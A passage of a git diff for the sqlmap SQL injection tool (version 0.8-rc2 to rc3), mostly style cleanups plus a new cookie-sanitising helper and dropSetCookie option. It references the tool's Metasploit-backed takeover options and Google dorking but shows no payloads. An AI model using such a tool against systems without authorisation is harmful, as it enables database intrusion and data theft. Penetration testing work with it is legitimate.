@@ -793,12 +748,11 @@ def pollProcess(process):
dataToStdout(" quit unexpectedly with return code %d\n" % returncode)
break
-
-
+
def getCharset(charsetType=None):
asciiTbl = []
- if charsetType == None:
+ if charsetType is None:
asciiTbl = range(0, 128)
# 0 or 1
@@ -832,22 +786,49 @@ def getCharset(charsetType=None):
asciiTbl.extend(range(96, 123))
return asciiTbl
-
-
+
def searchEnvPath(fileName):
envPaths = os.environ["PATH"]
- result = None
+ result = None
- if IS_WIN is True:
+ if IS_WIN:
envPaths = envPaths.split(";")
else:
envPaths = envPaths.split(":")
for envPath in envPaths:
envPath = envPath.replace(";", "")
- result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName)))
+ result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName)))
- if result == True:
+ if result:
break
return result
+
+def sanitizeCookie(cookieStr, warn=False):
+ if cookieStr:
+ result = ""
+ changed = False
+ for part in cookieStr.split(';'):
+ index = part.find('=') + 1
+ if index > 0:
+ name = part[:index - 1].strip()
+ value = part[index:].replace(",","%2C").replace(";","%3B").replace(" ","%20")
+ if value != part[index:]:
+ changed = True
+ result += ";%s=%s" % (name, value)
+ elif part.strip().lower() != "secure":
+ result += "%s%s" % ("%3B", part.replace(",","%2C").replace(";","%3B").replace(" ","%20"))
+ else:
+ result += ";secure"
+ if result.startswith(';'):
+ result = result[1:]
+ elif result.startswith('%3B'):
+ result = result[3:]
+ if changed and warn:
+ warnMsg = "cookie is provided in HTTP unsafe format containing one "
+ warnMsg += "of problematic characters: ' ,;'. temporary sanitized."
+ logger.warn(warnMsg)
+ return result
+ else:
+ return None
diff --git a/lib/core/convert.py b/lib/core/convert.py
index 5d60de738..9830faf32 100644
--- a/lib/core/convert.py
+++ b/lib/core/convert.py
@@ -22,21 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
import md5
import sha
import struct
import urllib
-
def base64decode(string):
return string.decode("base64")
-
def base64encode(string):
return string.encode("base64")[:-1]
-
def hexdecode(string):
string = string.lower()
@@ -44,45 +40,40 @@ def hexdecode(string):
string = string[2:]
return string.decode("hex")
-
-
+
def hexencode(string):
return string.encode("hex")
-
def md5hash(string):
return md5.new(string).hexdigest()
-
def orddecode(string):
packedString = struct.pack("!"+"I" * len(string), *string)
return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
-
def ordencode(string):
return tuple([ord(char) for char in string])
-
def sha1hash(string):
return sha.new(string).hexdigest()
-
def urldecode(string):
- if not string:
- return
-
- doublePercFreeString = string.replace("%%", "__DPERC__")
- unquotedString = urllib.unquote_plus(doublePercFreeString)
- unquotedString = unquotedString.replace("__DPERC__", "%%")
-
- return unquotedString
+ result = None
+
+ if string:
+ result = urllib.unquote_plus(string)
+ return result
def urlencode(string, safe=":/?%&=", convall=False):
- if not string:
- return
+ result = None
- if convall == True:
- return urllib.quote(string)
+ if string is None:
+ return result
+
+ if convall:
+ result = urllib.quote(string)
else:
- return urllib.quote(string, safe)
+ result = urllib.quote(string, safe)
+
+ return result
diff --git a/lib/core/data.py b/lib/core/data.py
index 70aa427a9..441104cfd 100644
--- a/lib/core/data.py
+++ b/lib/core/data.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
from lib.core.datatype import advancedDict
from lib.core.settings import LOGGER
diff --git a/lib/core/datatype.py b/lib/core/datatype.py
index b93731558..474724cc4 100644
--- a/lib/core/datatype.py
+++ b/lib/core/datatype.py
@@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
from lib.core.exception import sqlmapDataException
-
class advancedDict(dict):
"""
This class defines the sqlmap object, inheriting from Python data
@@ -45,7 +43,6 @@ class advancedDict(dict):
# After initialisation, setting attributes
# is the same as setting an item
-
def __getattr__(self, item):
"""
Maps values to attributes
@@ -57,7 +54,6 @@ class advancedDict(dict):
except KeyError:
raise sqlmapDataException, "Unable to access item '%s'" % item
-
def __setattr__(self, item, value):
"""
Maps attributes to values
diff --git a/lib/core/dump.py b/lib/core/dump.py
index fe7f222af..6c8c6c2d0 100644
--- a/lib/core/dump.py
+++ b/lib/core/dump.py
@@ -22,16 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
-import re
import os
+import re
from lib.core.common import dataToDumpFile
from lib.core.data import conf
from lib.core.data import logger
-
class Dump:
"""
This class defines methods used to parse and output the results
@@ -42,8 +39,7 @@ class Dump:
def __init__(self):
self.__outputFile = None
self.__outputFP = None
-
-
+
def __write(self, data, n=True):
if n:
print data
@@ -55,13 +51,11 @@ class Dump:
self.__outputFP.flush()
conf.loggedToOut = True
-
-
+
def setOutputFile(self):
self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
self.__outputFP = open(self.__outputFile, "a")
-
-
+
def string(self, header, data, sort=True):
if isinstance(data, (list, tuple, set)):
self.lister(header, data, sort)
@@ -81,13 +75,12 @@ class Dump:
self.__write("%s: '%s'\n" % (header, data))
else:
self.__write("%s:\tNone\n" % header)
-
-
+
def lister(self, header, elements, sort=True):
if elements:
self.__write("%s [%d]:" % (header, len(elements)))
- if sort == True:
+ if sort:
try:
elements = set(elements)
elements = list(elements)
@@ -103,8 +96,7 @@ class Dump:
if elements:
self.__write("")
-
-
+
def userSettings(self, header, userSettings, subHeader):
self.__areAdmins = set()
@@ -131,8 +123,7 @@ class Dump:
for setting in settings:
self.__write(" %s: %s" % (subHeader, setting))
print
-
-
+
def dbTables(self, dbTables):
if not isinstance(dbTables, dict):
self.string("tables", dbTables)
@@ -164,8 +155,7 @@ class Dump:
self.__write("| %s%s |" % (table, blank))
self.__write("+%s+\n" % lines)
-
-
+
def dbTableColumns(self, tableColumns):
for db, tables in tableColumns.items():
if not db:
@@ -210,8 +200,7 @@ class Dump:
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
self.__write("+%s+%s+\n" % (lines1, lines2))
-
-
+
def dbTableValues(self, tableValues):
db = tableValues["__infos__"]["db"]
if not db:
@@ -306,7 +295,6 @@ class Dump:
logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
-
# object to manage how to print the retrieved queries output to
# standard output and sessions file
dumper = Dump()
diff --git a/lib/core/exception.py b/lib/core/exception.py
index 1b523c6b2..2d9c55b38 100644
--- a/lib/core/exception.py
+++ b/lib/core/exception.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
from lib.core.settings import PLATFORM
from lib.core.settings import PYVERSION
from lib.core.settings import VERSION
@@ -33,67 +31,51 @@ from lib.core.settings import VERSION_STRING
class sqlmapConnectionException(Exception):
pass
-
class sqlmapDataException(Exception):
pass
-
class sqlmapFilePathException(Exception):
pass
-
class sqlmapGenericException(Exception):
pass
-
class sqlmapMissingDependence(Exception):
pass
-
class sqlmapMissingMandatoryOptionException(Exception):
pass
-
class sqlmapMissingPrivileges(Exception):
pass
-
class sqlmapNoneDataException(Exception):
pass
-
class sqlmapNotVulnerableException(Exception):
pass
-
class sqlmapRegExprException(Exception):
pass
-
class sqlmapSyntaxException(Exception):
pass
-
class sqlmapThreadException(Exception):
pass
-
class sqlmapUndefinedMethod(Exception):
pass
-
class sqlmapUnsupportedDBMSException(Exception):
pass
-
class sqlmapUnsupportedFeatureException(Exception):
pass
-
class sqlmapValueException(Exception):
pass
-
def unhandledException():
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
errMsg += "the command line and the following text and send by e-mail "
@@ -103,7 +85,6 @@ def unhandledException():
errMsg += "Operating system: %s" % PLATFORM
return errMsg
-
exceptionsTuple = (
sqlmapConnectionException,
sqlmapDataException,
diff --git a/lib/core/option.py b/lib/core/option.py
index 2bd3dabda..04fe07a78 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import cookielib
import ctypes
import difflib
@@ -40,6 +38,7 @@ from lib.core.common import getFileType
from lib.core.common import parseTargetUrl
from lib.core.common import paths
from lib.core.common import randomRange
+from lib.core.common import sanitizeCookie
from lib.core.common import sanitizeStr
from lib.core.data import conf
from lib.core.data import kb
@@ -70,11 +69,9 @@ from lib.parse.queriesfile import queriesParser
from lib.request.proxy import ProxyHTTPSHandler
from lib.utils.google import Google
-
authHandler = urllib2.BaseHandler()
proxyHandler = urllib2.BaseHandler()
-
def __urllib2Opener():
"""
This function creates the urllib2 OpenerDirector.
@@ -85,13 +82,15 @@ def __urllib2Opener():
debugMsg = "creating HTTP requests opener object"
logger.debug(debugMsg)
-
- conf.cj = cookielib.LWPCookieJar()
- opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
+
+ if conf.dropSetCookie:
+ opener = urllib2.build_opener(proxyHandler, authHandler)
+ else:
+ conf.cj = cookielib.LWPCookieJar()
+ opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
urllib2.install_opener(opener)
-
def __feedTargetsDict(reqFile, addedTargetUrls):
fp = open(reqFile, "r")
@@ -173,7 +172,6 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
kb.targetUrls.add(( url, method, data, cookie ))
addedTargetUrls.add(url)
-
def __setMultipleTargets():
"""
Define a configuration parameter if we are running in multiple target
@@ -218,7 +216,6 @@ def __setMultipleTargets():
infoMsg += "testable requests from the targets list"
logger.info(infoMsg)
-
def __setGoogleDorking():
"""
This function checks if the way to request testable hosts is through
@@ -266,7 +263,6 @@ def __setGoogleDorking():
errMsg += "have GET parameters to test for SQL injection"
raise sqlmapGenericException, errMsg
-
def __setMetasploit():
if not conf.osPwn and not conf.osSmb and not conf.osBof:
return
@@ -276,7 +272,7 @@ def __setMetasploit():
msfEnvPathExists = False
- if IS_WIN is True:
+ if IS_WIN:
warnMsg = "Metasploit's msfconsole and msfcli are not supported "
warnMsg += "on the native Windows Ruby interpreter. Please "
warnMsg += "install Metasploit, Python interpreter and sqlmap on "
@@ -300,7 +296,7 @@ def __setMetasploit():
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
isAdmin = True
- elif IS_WIN is True:
+ elif IS_WIN:
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
@@ -349,14 +345,14 @@ def __setMetasploit():
warnMsg += "Framework 3 is installed"
logger.warn(warnMsg)
- if msfEnvPathExists != True:
+ if not msfEnvPathExists:
warnMsg = "sqlmap is going to look for Metasploit Framework 3 "
warnMsg += "installation into the environment paths"
logger.warn(warnMsg)
envPaths = os.environ["PATH"]
- if IS_WIN is True:
+ if IS_WIN:
envPaths = envPaths.split(";")
else:
envPaths = envPaths.split(":")
@@ -379,12 +375,11 @@ def __setMetasploit():
break
- if msfEnvPathExists != True:
+ if not msfEnvPathExists:
errMsg = "unable to locate Metasploit Framework 3 installation. "
errMsg += "Get it from http://metasploit.com/framework/download/"
raise sqlmapFilePathException, errMsg
-
def __setWriteFile():
if not conf.wFile:
return
@@ -403,9 +398,8 @@ def __setWriteFile():
conf.wFileType = getFileType(conf.wFile)
-
def __setUnionTech():
- if conf.uTech == None:
+ if conf.uTech is None:
conf.uTech = "NULL"
return
@@ -428,7 +422,6 @@ def __setUnionTech():
debugMsg += "'%s'" % uTechOriginal
logger.debug(debugMsg)
-
def __setOS():
"""
Force the back-end DBMS operating system option.
@@ -451,7 +444,6 @@ def __setOS():
errMsg += "you."
raise sqlmapUnsupportedDBMSException, errMsg
-
def __setDBMS():
"""
Force the back-end DBMS option.
@@ -482,12 +474,10 @@ def __setDBMS():
errMsg += "fingerprint it for you."
raise sqlmapUnsupportedDBMSException, errMsg
-
def __setThreads():
if not isinstance(conf.threads, int) or conf.threads <= 0:
conf.threads = 1
-
def __setHTTPProxy():
"""
Check and set the HTTP proxy to pass by all HTTP requests.
@@ -526,7 +516,6 @@ def __setHTTPProxy():
else:
proxyHandler = urllib2.ProxyHandler({"http": __proxyString})
-
def __setHTTPAuthentication():
"""
Check and set the HTTP authentication method (Basic, Digest or NTLM),
@@ -588,7 +577,6 @@ def __setHTTPAuthentication():
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
-
def __setHTTPMethod():
"""
Check and set the HTTP method to perform HTTP requests through.
@@ -610,7 +598,6 @@ def __setHTTPMethod():
debugMsg = "setting the HTTP method to %s" % conf.method
logger.debug(debugMsg)
-
def __setHTTPExtraHeaders():
if conf.hostname:
conf.httpHeaders.append(("Host", conf.hostname))
@@ -632,7 +619,6 @@ def __setHTTPExtraHeaders():
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
-
def __defaultHTTPUserAgent():
"""
@return: default sqlmap HTTP User-Agent header
@@ -648,7 +634,6 @@ def __defaultHTTPUserAgent():
# updated at March 2009
#return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
-
def __setHTTPUserAgent():
"""
Set the HTTP User-Agent header.
@@ -712,7 +697,6 @@ def __setHTTPUserAgent():
logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
logger.info(logMsg)
-
def __setHTTPReferer():
"""
Set the HTTP Referer
@@ -724,7 +708,6 @@ def __setHTTPReferer():
conf.httpHeaders.append(("Referer", conf.referer))
-
def __setHTTPCookies():
"""
Set the HTTP Cookie header
@@ -733,11 +716,12 @@ def __setHTTPCookies():
if conf.cookie:
debugMsg = "setting the HTTP Cookie header"
logger.debug(debugMsg)
-
+
+ conf.cookie = sanitizeCookie(conf.cookie, True)
+
conf.httpHeaders.append(("Connection", "Keep-Alive"))
conf.httpHeaders.append(("Cookie", conf.cookie))
-
def __setHTTPTimeout():
"""
Set the HTTP timeout
@@ -760,7 +744,6 @@ def __setHTTPTimeout():
socket.setdefaulttimeout(conf.timeout)
-
def __cleanupOptions():
"""
Cleanup configuration attributes.
@@ -808,7 +791,6 @@ def __cleanupOptions():
if conf.googleDork or conf.list:
conf.multipleTargets = True
-
def __setConfAttributes():
"""
This function set some needed attributes into the configuration
@@ -843,7 +825,6 @@ def __setConfAttributes():
conf.threadException = False
conf.wFileType = None
-
def __setKnowledgeBaseAttributes():
"""
This function set some needed attributes into the knowledge base
@@ -862,7 +843,7 @@ def __setKnowledgeBaseAttributes():
kb.dbmsDetected = False
# Active (extensive) back-end DBMS fingerprint
- kb.dbmsVersion = []
+ kb.dbmsVersion = [ "Unknown" ]
kb.dep = None
kb.docRoot = None
@@ -888,7 +869,6 @@ def __setKnowledgeBaseAttributes():
kb.unionCount = None
kb.unionPosition = None
-
def __saveCmdline():
"""
Saves the command line options on a sqlmap configuration INI file
@@ -918,7 +898,7 @@ def __saveCmdline():
optionData.sort()
for option, value, datatype in optionData:
- if value == None:
+ if value is None:
if datatype == "boolean":
value = "False"
elif datatype in ( "integer", "float" ):
@@ -942,13 +922,12 @@ def __saveCmdline():
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
logger.info(infoMsg)
-
def __setVerbosity():
"""
This function set the verbosity of sqlmap output messages.
"""
- if conf.verbose == None:
+ if conf.verbose is None:
conf.verbose = 1
conf.verbose = int(conf.verbose)
@@ -965,7 +944,6 @@ def __setVerbosity():
elif conf.verbose >= 4:
logger.setLevel(8)
-
def __mergeOptions(inputOptions):
"""
Merge command line options with configuration file options.
@@ -983,10 +961,9 @@ def __mergeOptions(inputOptions):
inputOptionsItems = inputOptions.__dict__.items()
for key, value in inputOptionsItems:
- if not conf.has_key(key) or conf[key] == None or value != None:
+ if not conf.has_key(key) or conf[key] is None or value is not None:
conf[key] = value
-
def init(inputOptions=advancedDict()):
"""
Set attributes into both configuration and knowledge base singletons
diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py
index 1069eabcd..51286ca1f 100644
--- a/lib/core/optiondict.py
+++ b/lib/core/optiondict.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
optDict = {
# Family: { "parameter_name": "parameter_datatype" },
"Target": {
@@ -36,6 +34,7 @@ optDict = {
"method": "string",
"data": "string",
"cookie": "string",
+ "dropSetCookie": "boolean",
"referer": "string",
"agent": "string",
"userAgentsFile": "string",
@@ -131,11 +130,12 @@ optDict = {
},
"Miscellaneous": {
- "eta": "boolean",
- "verbose": "integer",
- "updateAll": "boolean",
"sessionFile": "string",
+ "eta": "boolean",
+ "googlePage": "integer",
+ "updateAll": "boolean",
"batch": "boolean",
- "cleanup": "boolean"
+ "cleanup": "boolean",
+ "verbose": "integer"
},
}
diff --git a/lib/core/progress.py b/lib/core/progress.py
index 7af7bee1e..129fbb9a6 100644
--- a/lib/core/progress.py
+++ b/lib/core/progress.py
@@ -22,11 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
from lib.core.common import dataToStdout
-
class ProgressBar:
"""
This class defines methods to update and draw a progress bar
@@ -42,7 +39,6 @@ class ProgressBar:
self.__amount = 0
self.update()
-
def __convertSeconds(self, value):
seconds = value
minutes = seconds / 60
@@ -50,7 +46,6 @@ class ProgressBar:
return "%.2d:%.2d" % (minutes, seconds)
-
def update(self, newAmount=0):
"""
This method updates the progress bar
@@ -87,7 +82,6 @@ class ProgressBar:
percentString = str(percentDone) + "%"
self.__progBar = "%s %s" % (percentString, self.__progBar)
-
def draw(self, eta=0):
"""
This method draws the progress bar if it has changed
@@ -102,7 +96,6 @@ class ProgressBar:
blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
-
def __str__(self):
"""
This method returns the progress bar string
diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py
index 3a1827a02..0fdaddebd 100644
--- a/lib/core/readlineng.py
+++ b/lib/core/readlineng.py
@@ -27,15 +27,12 @@ In addition to normal readline stuff, this module provides haveReadline
boolean and _outputfile variable used in genutils.
"""
-
-
import sys
from lib.core.data import logger
from lib.core.settings import IS_WIN
from lib.core.settings import PLATFORM
-
try:
from readline import *
import readline as _rl
@@ -50,7 +47,7 @@ except ImportError:
except ImportError:
haveReadline = False
-if IS_WIN is True and haveReadline:
+if IS_WIN and haveReadline:
try:
_outputfile=_rl.GetOutputFile()
except AttributeError:
@@ -79,7 +76,6 @@ if PLATFORM == 'darwin' and haveReadline:
uses_libedit = True
-
# the clear_history() function was only introduced in Python 2.4 and is
# actually optional in the readline API, so we must explicitly check for its
# existence. Some known platforms actually don't have it. This thread:
diff --git a/lib/core/session.py b/lib/core/session.py
index d41434703..7fe11f9eb 100644
--- a/lib/core/session.py
+++ b/lib/core/session.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import re
from lib.core.common import dataToSessionFile
@@ -37,7 +35,6 @@ from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES
-
def setString():
"""
Save string to match in session file.
@@ -51,7 +48,6 @@ def setString():
if condition:
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
-
def setRegexp():
"""
Save regular expression to match in session file.
@@ -65,7 +61,6 @@ def setRegexp():
if condition:
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
-
def setMatchRatio():
condition = (
not kb.resumedQueries
@@ -76,7 +71,6 @@ def setMatchRatio():
if condition:
dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio))
-
def setInjection():
"""
Save information retrieved about injection place and parameter in the
@@ -100,7 +94,6 @@ def setInjection():
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
-
def setParenthesis(parenthesisCount):
"""
@param parenthesisCount: number of parenthesis to be set into the
@@ -118,7 +111,6 @@ def setParenthesis(parenthesisCount):
kb.parenthesis = parenthesisCount
-
def setDbms(dbms):
"""
@param dbms: database management system to be set into the knowledge
@@ -148,7 +140,6 @@ def setDbms(dbms):
logger.info("the back-end DBMS is %s" % kb.dbms)
-
def setOs():
"""
Example of kb.bannerFp dictionary:
@@ -196,7 +187,6 @@ def setOs():
if condition:
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))
-
def setStacked():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
@@ -209,7 +199,6 @@ def setStacked():
if condition:
dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest))
-
def setUnion(comment=None, count=None, position=None):
"""
@param comment: union comment to save in session file
@@ -249,7 +238,6 @@ def setUnion(comment=None, count=None, position=None):
kb.unionPosition = position
-
def setRemoteTempPath():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
@@ -259,7 +247,6 @@ def setRemoteTempPath():
if condition:
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
-
def resumeConfKb(expression, url, value):
if expression == "String" and url == conf.url:
string = value[:-1]
diff --git a/lib/core/settings.py b/lib/core/settings.py
index b817be879..c7e1a9cd7 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -22,15 +22,12 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import logging
import subprocess
import sys
-
# sqlmap version and site
-VERSION = "0.8-rc2"
+VERSION = "0.8-rc3"
VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net"
diff --git a/lib/core/shell.py b/lib/core/shell.py
index 8f01dfb05..bc07c3508 100644
--- a/lib/core/shell.py
+++ b/lib/core/shell.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import atexit
import os
import rlcompleter
@@ -33,19 +31,16 @@ from lib.core.data import kb
from lib.core.data import paths
from lib.core.data import queries
-
def saveHistory():
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
readline.write_history_file(historyPath)
-
def loadHistory():
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
if os.path.exists(historyPath):
readline.read_history_file(historyPath)
-
def queriesForAutoCompletion():
autoComplQueries = {}
@@ -61,7 +56,6 @@ def queriesForAutoCompletion():
return autoComplQueries
-
class CompleterNG(rlcompleter.Completer):
def global_matches(self, text):
"""
@@ -80,7 +74,6 @@ class CompleterNG(rlcompleter.Completer):
return matches
-
def autoCompletion(sqlShell=False, osShell=False):
# First of all we check if the readline is available, by default
# it is not in Python default installation on Windows
diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py
index 5a574aadb..e1442570d 100644
--- a/lib/core/subprocessng.py
+++ b/lib/core/subprocessng.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import errno
import os
import sys
@@ -31,8 +29,7 @@ import time
from lib.core.settings import IS_WIN
-
-if IS_WIN is not True:
+if not IS_WIN:
import fcntl
if (sys.hexversion >> 16) >= 0x202:
@@ -40,7 +37,6 @@ if IS_WIN is not True:
else:
import FCNTL
-
def blockingReadFromFD(fd):
# Quick twist around original Twisted function
# Blocking read from a non-blocking file descriptor
@@ -62,8 +58,7 @@ def blockingReadFromFD(fd):
if not output:
raise EOFError, "fd %s has been closed." % fd
- return output
-
+ return output
def blockingWriteToFD(fd, data):
# Another quick twist
@@ -82,7 +77,6 @@ def blockingWriteToFD(fd, data):
break
-
def setNonBlocking(fd):
"""
Make a file descriptor non-blocking
diff --git a/lib/core/target.py b/lib/core/target.py
index d7d2d32ef..1b0f95e27 100644
--- a/lib/core/target.py
+++ b/lib/core/target.py
@@ -22,15 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import os
import time
from lib.core.common import dataToSessionFile
from lib.core.common import paramToDict
from lib.core.common import parseTargetUrl
-from lib.core.convert import urldecode
+from lib.core.common import sanitizeCookie
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -41,7 +39,6 @@ from lib.core.exception import sqlmapGenericException
from lib.core.exception import sqlmapSyntaxException
from lib.core.session import resumeConfKb
-
def __setRequestParams():
"""
Check and set the parameters and perform checks on 'data' option for
@@ -65,21 +62,20 @@ def __setRequestParams():
raise sqlmapSyntaxException, errMsg
if conf.data:
- urlDecodedData = urldecode(conf.data).replace("%", "%%")
- conf.parameters["POST"] = urlDecodedData
- __paramDict = paramToDict("POST", urlDecodedData)
+ conf.parameters["POST"] = conf.data
+ __paramDict = paramToDict("POST", conf.data)
if __paramDict:
conf.paramDict["POST"] = __paramDict
__testableParameters = True
+ conf.method = "POST"
+
# Perform checks on Cookie parameters
if conf.cookie:
- # TODO: sure about decoding the cookie?
- #urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%")
- urlDecodedCookie = conf.cookie.replace("%", "%%")
- conf.parameters["Cookie"] = urlDecodedCookie
- __paramDict = paramToDict("Cookie", urlDecodedCookie)
+ conf.cookie = sanitizeCookie(conf.cookie)
+ conf.parameters["Cookie"] = conf.cookie
+ __paramDict = paramToDict("Cookie", conf.cookie)
if __paramDict:
conf.paramDict["Cookie"] = __paramDict
@@ -89,7 +85,8 @@ def __setRequestParams():
if conf.httpHeaders:
for httpHeader, headerValue in conf.httpHeaders:
if httpHeader == "User-Agent":
- conf.parameters["User-Agent"] = urldecode(headerValue).replace("%", "%%")
+ # No need for url encoding/decoding the user agent
+ conf.parameters["User-Agent"] = headerValue
condition = not conf.testParameter
condition |= "User-Agent" in conf.testParameter
@@ -111,7 +108,6 @@ def __setRequestParams():
errMsg += "within the GET, POST and Cookie parameters"
raise sqlmapGenericException, errMsg
-
def __setOutputResume():
"""
Check and set the output text file and the resume functionality.
@@ -167,7 +163,6 @@ def __setOutputResume():
errMsg = "unable to write on the session file specified"
raise sqlmapFilePathException, errMsg
-
def __createFilesDir():
"""
Create the file directory.
@@ -181,7 +176,6 @@ def __createFilesDir():
if not os.path.isdir(conf.filePath):
os.makedirs(conf.filePath, 0755)
-
def __createDumpDir():
"""
Create the dump directory.
@@ -195,7 +189,6 @@ def __createDumpDir():
if not os.path.isdir(conf.dumpPath):
os.makedirs(conf.dumpPath, 0755)
-
def createTargetDirs():
"""
Create the output directory.
@@ -214,7 +207,6 @@ def createTargetDirs():
__createDumpDir()
__createFilesDir()
-
def initTargetEnv():
"""
Initialize target environment.
diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py
index 592c13359..fe1f07fcc 100644
--- a/lib/core/unescaper.py
+++ b/lib/core/unescaper.py
@@ -22,19 +22,14 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
class Unescaper:
def __init__(self):
self.__unescaper = None
-
def setUnescape(self, unescapeFunction):
self.__unescaper = unescapeFunction
-
def unescape(self, expression, quote=True):
return self.__unescaper(expression, quote=quote)
-
unescaper = Unescaper()
diff --git a/lib/core/update.py b/lib/core/update.py
index 099ca0c98..fb40e3fc8 100644
--- a/lib/core/update.py
+++ b/lib/core/update.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import difflib
import os
import re
@@ -48,7 +46,6 @@ from lib.core.settings import SQLMAP_SOURCE_URL
from lib.core.settings import VERSION
from lib.request.connect import Connect as Request
-
def __updateMSSQLXML():
infoMsg = "updating Microsoft SQL Server XML versions file"
logger.info(infoMsg)
@@ -199,7 +196,6 @@ def __updateMSSQLXML():
infoMsg += "last update"
logger.info(infoMsg)
-
def __createFile(pathname, data):
mkpath(os.path.dirname(pathname))
@@ -207,7 +203,6 @@ def __createFile(pathname, data):
fileFP.write(data)
fileFP.close()
-
def __extractZipFile(tempDir, zipFile):
# Check if the saved binary file is really a ZIP file
if zipfile.is_zipfile(zipFile):
@@ -221,7 +216,6 @@ def __extractZipFile(tempDir, zipFile):
data = sqlmapZipFile.read(info.filename)
__createFile(os.path.join(tempDir, info.filename), data)
-
def __updateSqlmap():
infoMsg = "updating sqlmap"
logger.info(infoMsg)
@@ -292,8 +286,6 @@ def __updateSqlmap():
# For each file and directory in the temporary directory copy it
# to the sqlmap root path and set right permission
- # TODO: remove files not needed anymore and all pyc within the
- # sqlmap root path in the end
